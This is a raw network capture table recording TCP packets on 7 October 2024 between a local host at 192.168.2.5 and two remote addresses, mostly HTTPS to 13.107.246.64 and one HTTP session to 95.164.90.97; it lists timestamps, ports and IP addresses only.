Oct 7, 2024 18:00:37.029589891 CEST	443	49818	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.036056042 CEST	443	49819	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.040509939 CEST	443	49820	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.043416023 CEST	49818	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.043442965 CEST	443	49818	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.044858932 CEST	49819	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.044881105 CEST	443	49819	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.044919968 CEST	49818	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.044934034 CEST	443	49818	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.045418978 CEST	49819	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.045427084 CEST	443	49819	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.046091080 CEST	49820	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.046113014 CEST	443	49820	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.046338081 CEST	49820	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.046341896 CEST	443	49820	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.135518074 CEST	443	49818	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.136104107 CEST	443	49818	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.136491060 CEST	49818	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.136491060 CEST	49818	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.136543989 CEST	49818	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.136553049 CEST	443	49818	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.136823893 CEST	443	49820	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.137100935 CEST	443	49820	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.137593031 CEST	49820	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.137629986 CEST	49820	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.137629986 CEST	49820	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.137650013 CEST	443	49820	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.137660027 CEST	443	49820	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.139381886 CEST	49823	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.139400005 CEST	443	49823	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.139527082 CEST	49823	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.139718056 CEST	49823	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.139719009 CEST	49824	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.139734983 CEST	443	49823	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.139744043 CEST	443	49824	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.139823914 CEST	49824	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.139941931 CEST	49824	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.139951944 CEST	443	49824	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.140559912 CEST	443	49819	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.140976906 CEST	443	49819	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.141041994 CEST	49819	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.141113043 CEST	49819	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.141113043 CEST	49819	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.141129017 CEST	443	49819	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.141136885 CEST	443	49819	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.143119097 CEST	49825	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.143129110 CEST	443	49825	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.143704891 CEST	49825	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.143825054 CEST	49825	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.143835068 CEST	443	49825	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.479685068 CEST	443	49821	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.480277061 CEST	49821	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.480325937 CEST	443	49821	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.480731010 CEST	49821	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.480737925 CEST	443	49821	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.576386929 CEST	443	49821	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.576661110 CEST	443	49821	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.576716900 CEST	49821	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.576759100 CEST	49821	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.576766968 CEST	443	49821	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.576792955 CEST	49821	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.576797962 CEST	443	49821	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.579916000 CEST	49826	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.579926968 CEST	443	49826	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.580003977 CEST	49826	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.580143929 CEST	49826	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.580157042 CEST	443	49826	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.593173027 CEST	443	49822	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.593720913 CEST	49822	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.593734980 CEST	443	49822	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.594218016 CEST	49822	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.594223022 CEST	443	49822	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.688101053 CEST	443	49822	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.688481092 CEST	443	49822	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.688703060 CEST	49822	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.688760042 CEST	49822	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.688771963 CEST	443	49822	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.688788891 CEST	49822	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.688793898 CEST	443	49822	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.692043066 CEST	49827	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.692102909 CEST	443	49827	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.692215919 CEST	49827	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.692441940 CEST	49827	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.692471981 CEST	443	49827	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.744699955 CEST	443	49825	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.745222092 CEST	49825	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.745229959 CEST	443	49825	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.745776892 CEST	49825	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.745784044 CEST	443	49825	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.750103951 CEST	443	49823	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.750581980 CEST	49823	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.750606060 CEST	443	49823	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.751055002 CEST	49823	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.751085043 CEST	443	49823	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.767041922 CEST	443	49824	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.767549992 CEST	49824	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.767571926 CEST	443	49824	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.768281937 CEST	49824	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.768287897 CEST	443	49824	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.840828896 CEST	443	49825	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.840893030 CEST	443	49825	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.840954065 CEST	49825	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.841260910 CEST	49825	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.841270924 CEST	443	49825	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.841279030 CEST	49825	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.841285944 CEST	443	49825	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.844367027 CEST	49828	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.844389915 CEST	443	49828	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.844553947 CEST	49828	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.844692945 CEST	49828	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.844702959 CEST	443	49828	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.850070000 CEST	443	49823	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.850126982 CEST	443	49823	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.850198030 CEST	49823	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.850558996 CEST	49823	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.850558996 CEST	49823	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.850578070 CEST	443	49823	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.850588083 CEST	443	49823	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.853389025 CEST	49829	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.853415966 CEST	443	49829	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.853498936 CEST	49829	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.853599072 CEST	49829	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.853609085 CEST	443	49829	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.892827988 CEST	443	49824	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.892904997 CEST	443	49824	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.893013954 CEST	443	49824	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.893069029 CEST	49824	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.893069029 CEST	49824	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.893316984 CEST	49824	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.893316984 CEST	49824	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.893332005 CEST	443	49824	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.893341064 CEST	443	49824	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.896321058 CEST	49830	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.896342993 CEST	443	49830	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:37.896424055 CEST	49830	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.896568060 CEST	49830	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:37.896584988 CEST	443	49830	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.127899885 CEST	443	49826	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.129888058 CEST	49826	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.129898071 CEST	443	49826	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.130368948 CEST	49826	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.130374908 CEST	443	49826	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.143815994 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:39.148742914 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:39.151134968 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:39.151272058 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:39.156028986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:39.225246906 CEST	443	49826	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.229677916 CEST	443	49826	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.229724884 CEST	443	49826	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.229821920 CEST	49826	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.229821920 CEST	49826	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.229923964 CEST	49826	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.229923964 CEST	49826	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.229953051 CEST	443	49826	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.229964972 CEST	443	49826	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.232773066 CEST	49832	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.232816935 CEST	443	49832	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.232884884 CEST	49832	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.233020067 CEST	49832	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.233031988 CEST	443	49832	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.304604053 CEST	443	49829	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.304831028 CEST	443	49827	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.305253983 CEST	49829	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.305273056 CEST	443	49829	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.305411100 CEST	443	49830	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.305783033 CEST	49829	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.305794954 CEST	443	49829	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.305881023 CEST	49827	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.305900097 CEST	443	49827	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.305990934 CEST	49827	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.305995941 CEST	443	49827	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.306159019 CEST	49830	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.306168079 CEST	443	49830	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.306655884 CEST	49830	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.306660891 CEST	443	49830	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.312331915 CEST	443	49828	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.312915087 CEST	49828	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.312938929 CEST	443	49828	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.313148022 CEST	49828	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.313154936 CEST	443	49828	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.399914980 CEST	443	49829	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.399974108 CEST	443	49829	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.400085926 CEST	49829	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.400141001 CEST	443	49830	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.400253057 CEST	49829	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.400265932 CEST	443	49829	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.400285959 CEST	49829	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.400291920 CEST	443	49829	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.400793076 CEST	443	49830	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.400842905 CEST	443	49830	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.400890112 CEST	49830	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.400890112 CEST	49830	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.400974989 CEST	49830	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.400979042 CEST	443	49830	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.400995016 CEST	49830	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.400998116 CEST	443	49830	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.401045084 CEST	443	49827	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.401098013 CEST	443	49827	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.401230097 CEST	49827	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.401567936 CEST	49827	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.401596069 CEST	443	49827	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.401663065 CEST	49827	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.401669979 CEST	443	49827	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.403711081 CEST	49833	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.403753996 CEST	443	49833	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.403902054 CEST	49833	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.404108047 CEST	49834	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.404118061 CEST	443	49834	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.404279947 CEST	49834	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.405405045 CEST	49835	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.405432940 CEST	443	49835	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.405685902 CEST	49835	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.405958891 CEST	49833	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.405958891 CEST	49834	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.405973911 CEST	443	49833	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.405987978 CEST	443	49834	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.406158924 CEST	49835	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.406172991 CEST	443	49835	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.410835028 CEST	443	49828	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.410938025 CEST	443	49828	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.411036968 CEST	49828	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.411215067 CEST	49828	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.411216021 CEST	49828	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.411237955 CEST	443	49828	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.411248922 CEST	443	49828	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.413711071 CEST	49836	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.413728952 CEST	443	49836	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.413786888 CEST	49836	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.413934946 CEST	49836	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.413947105 CEST	443	49836	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.876137972 CEST	443	49832	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.876853943 CEST	49832	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.876885891 CEST	443	49832	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.877366066 CEST	49832	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.877372980 CEST	443	49832	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.975656033 CEST	443	49832	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.975722075 CEST	443	49832	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.975771904 CEST	49832	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.976013899 CEST	49832	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.976031065 CEST	443	49832	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.976041079 CEST	49832	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.976046085 CEST	443	49832	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.978682041 CEST	49837	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.978739023 CEST	443	49837	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:39.978807926 CEST	49837	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.978935003 CEST	49837	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:39.978950024 CEST	443	49837	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.035864115 CEST	443	49836	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.036384106 CEST	49836	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.036405087 CEST	443	49836	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.036982059 CEST	49836	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.036988020 CEST	443	49836	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.046299934 CEST	443	49833	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.046852112 CEST	49833	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.046871901 CEST	443	49833	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.047530890 CEST	49833	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.047537088 CEST	443	49833	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.050029993 CEST	443	49834	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.050519943 CEST	49834	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.050540924 CEST	443	49834	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.051268101 CEST	49834	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.051285028 CEST	443	49834	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.053693056 CEST	443	49835	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.054030895 CEST	49835	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.054040909 CEST	443	49835	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.054487944 CEST	49835	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.054492950 CEST	443	49835	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.133524895 CEST	443	49836	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.133675098 CEST	443	49836	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.133759975 CEST	49836	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.134471893 CEST	49836	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.134471893 CEST	49836	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.134481907 CEST	443	49836	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.134489059 CEST	443	49836	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.137929916 CEST	49838	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.137958050 CEST	443	49838	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.138026953 CEST	49838	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.138479948 CEST	49838	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.138494968 CEST	443	49838	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.141830921 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:40.141889095 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:40.143745899 CEST	443	49833	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.143830061 CEST	443	49833	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.143888950 CEST	49833	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.143974066 CEST	49833	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.143991947 CEST	443	49833	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.144004107 CEST	49833	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.144007921 CEST	443	49833	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.146737099 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:40.147367954 CEST	49839	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.147403955 CEST	443	49839	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.147412062 CEST	443	49834	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.147460938 CEST	49839	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.147702932 CEST	49839	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.147718906 CEST	443	49839	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.147831917 CEST	443	49834	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.147877932 CEST	49834	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.147907972 CEST	49834	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.147914886 CEST	443	49834	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.147922993 CEST	49834	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.147927999 CEST	443	49834	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.150206089 CEST	49840	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.150226116 CEST	443	49840	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.150291920 CEST	49840	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.150432110 CEST	49840	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.150449038 CEST	443	49840	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.151591063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:40.154151917 CEST	443	49835	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.154458046 CEST	443	49835	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.154503107 CEST	443	49835	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.154514074 CEST	49835	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.154540062 CEST	49835	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.154588938 CEST	49835	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.154594898 CEST	443	49835	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.154606104 CEST	49835	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.154609919 CEST	443	49835	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.156924963 CEST	49841	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.156975031 CEST	443	49841	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.157059908 CEST	49841	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.157316923 CEST	49841	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.157341003 CEST	443	49841	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.663289070 CEST	443	49837	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.663809061 CEST	49837	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.663875103 CEST	443	49837	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.664258003 CEST	49837	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:40.664263964 CEST	443	49837	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.806967974 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:40.807046890 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:40.809329987 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:40.814337969 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:40.816287994 CEST	443	49837	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:40.816322088 CEST	443	49837	13.107.246.64	192.168.2.5
